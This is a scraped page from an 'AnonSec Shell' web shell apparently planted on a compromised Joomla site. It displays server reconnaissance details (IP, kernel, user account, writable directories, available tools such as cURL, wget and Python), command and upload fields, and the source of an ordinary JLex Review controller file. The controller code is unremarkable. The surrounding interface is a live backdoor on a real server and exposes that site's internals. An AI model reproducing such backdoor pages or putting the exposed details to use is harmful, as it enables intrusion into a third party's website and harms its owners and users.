AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/controllers/others.php
<?php
/**
 * @package     JLex Review
 * @version     4.2.3
 * @copyright   Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license     GNU General Public License version 2 or later;
 * @author      www.jlexart.com
 */

defined ( "_JEXEC" ) or die;

class JLexReviewControllerOthers extends JControllerLegacy
{
	public function items()
    {
        $config = JLexReviewHelperAdmin::getConfig();
        if($config->get("u_edit_any_review",false)==false)
        {
            throw new Exception(JText::_("JR_PAGE_NOT_FOUND"), 404);
            return false;
        }

        $app = JFactory::getApplication();
        $app->input->set("tmpl", "component");

        $this->addModelPath ( JREVIEW_ADMIN . '/models', 'JLexReview' );

        $model = $this->getModel("items");
        $view  = $this->getView("others", "html");

        $view->setModel( $model, true );
        $view->items();

    }

    public function users()
    {
        $config = JLexReviewHelperAdmin::getConfig();
        if ($config->get("u_edit_any_review",false)==false)
        {
            throw new Exception(JText::_("JR_PAGE_NOT_FOUND"), 404);
            return false;
        }

        $app = JFactory::getApplication();
        $app->input->set("tmpl", "component");

        // load back-end language
        $lang = JFactory::getLanguage();
        $lang->load("joomla", JPATH_ADMINISTRATOR);
        $lang->load("com_users", JPATH_ADMINISTRATOR);

        JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');
        JForm::addFormPath( JPATH_ADMINISTRATOR . '/components/com_users/models/forms' );

        $this->addModelPath ( JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel' );

        $model = $this->getModel("users", "UsersModel");
        $view  = $this->getView("others", "html");

        $view->setModel( $model, true );
        $view->users();
    }

    public function report_add()
    {
        $app = JFactory::getApplication();
        $model = $this->getModel("others");

        $model->set("id", $app->input->getInt("id",0));
        $model->set("type", $app->input->getInt("type",1));

        $return = $model->report_add();

        if (!$return)
        {
            $response = array(
                    "status" => 400,
                    "error" => $model->getError()
                );
        } else {
            $response = array(
                    "status" => 200
                );
        }

        JLexReviewHelperAdmin::toJson($response);
    }

    public function report_ignore()
    {
        $app = JFactory::getApplication();
        $model = $this->getModel("others");

        $model->set("id", $app->input->getInt("id",0));
        $model->set("type", $app->input->getInt("type",1));

        $return = $model->report_ignore();

        if (!$return)
        {
            $response = array(
                    "status" => 400,
                    "error" => JText::_("JR_THE_ITEM_NOT_FOUND")
                );
        } else {
            $response = array(
                    "status" => 200
                );
        }

        JLexReviewHelperAdmin::toJson($response);
    }

    public function vote()
    {
        $app = JFactory::getApplication();
        $id  = $app->input->getInt("id", 0);
        $val = $app->input->getInt("val", -1);
        $type = $app->input->getInt("type", 1);

        $model  = $this->getModel ('others');
        $model->set( "id", $id );
        $model->set( "val", $val );
        $model->set( "type", $type);

        $return = $model->vote();

        if ($return === false)
        {
            $response = array(
                    "status" => 400,
                    "error" => $model->getError()
                );
        } else {
            $response = array(
                    "status" => 200,
                    "r" => $return
                );
        }

        JLexReviewHelperAdmin::toJson( $response );
    }

    public function photos()
    {
        $app = JFactory::getApplication();
        $entry_id  = $app->input->getInt('id', 0);
        $offset    = $app->input->getInt('offset', 0);
        $limit     = $app->input->getInt('limit', 0);

        $model = $this->getModel('others');

        if($entry_id>0) $model->set('entry_id', $entry_id);
        if($offset>0) $model->set('offset', $offset);
        if($limit>0 && $limit<30) $model->set('limit', $limit);

        $response = new stdClass();
        $response->photos = $model->photos();
        $response->page   = $model->photoPage();

        JLexReviewHelperAdmin::toJson( $response );
    }

    public function photo()
    {
        $app = JFactory::getApplication();
        $file   = $app->input->getCmd("n", "");
        $width  = $app->input->getInt("w", 0);

        $model = $this->getModel("others");
        if (preg_match("/^[a-z0-9]+\.[png|jpeg|jpg|gif]{3,}$/", $file))
        {
            $model->set("filename", $file);
        }

        if ($width>=200)
        {
            $model->set("nwidth", $width);
        }

        // output: image format or 404 page.
        $model->resizePhoto();
    }

    public function term()
    {
        $config = JLexReviewHelperAdmin::getConfig();
        $response = array(
                "data" => $config->get("term_content","")
            );

        JLexReviewHelperAdmin::toJson( $response );
    }

    public function mindt()
    {
        $config = JLexReviewHelperAdmin::getConfig();
        $app = JFactory::getApplication();
        $cid = $app->input->getString("cid", null);

        $model = $this->getModel("others");
        $model->set("cid", $cid);

        $result = $model->getCriterias();

        JLexReviewHelperAdmin::toJson( array(
            "params" => [
                    "max" => $config->get("rate_max",5),
                    "rtext" => json_decode($config->get("rating_text_data","")),
                    "type" => $config->get("mini_star", 1),
                    "quick_vote" => (int) $config->get("quick_rate", 0),
                    "half_vote" => (int) $config->get("half_star", 0),
                    "change" => (int) $config->get("quick_rate_change",0)==1
                ],
            "langs" => [
                    "rating" => jtext::_('JR_RATINGS_INIT'),
                    "ratings" => jtext::_('JR_RATINGS_INITS'),
                    "no_rating_desc" => jtext::_('JR_BE_FIRST_PEOPLE_REVIEW_THIS_ITEM'),
                    "thanks" => jtext::_($config->get('quick_rate_msg')),
                    "already_rated" => jtext::_('JR_ALREADY_RATED_ITEM'),
                    "pls" => jtext::_('JR_PLEASE_WAIT'),
                    "voted" => jtext::_('JR_VOTED'),
                    "unvote_desc" => jtext::_('JR_UNVOTE_DESC'),
                ],
            "data" => $result
        ));
    }

    public function filter_data()
    {
        $config = JLexReviewHelperAdmin::getConfig();
        $app = JFactory::getApplication();
        $cid = $app->input->getString("cid", null);
        $id  = $app->input->getInt("id", 0);

        $model = $this->getModel("others");
        $model->set("cid", $cid);

        if ($id>0)
        {
            $model->set("id", $id);
        }

        $result = $model->getFilterData();

        if (!$result)
        {
            $result = [];
        }

        JLexReviewHelperAdmin::toJson($result);
    }
}

Anon7 - 2022
AnonSec Team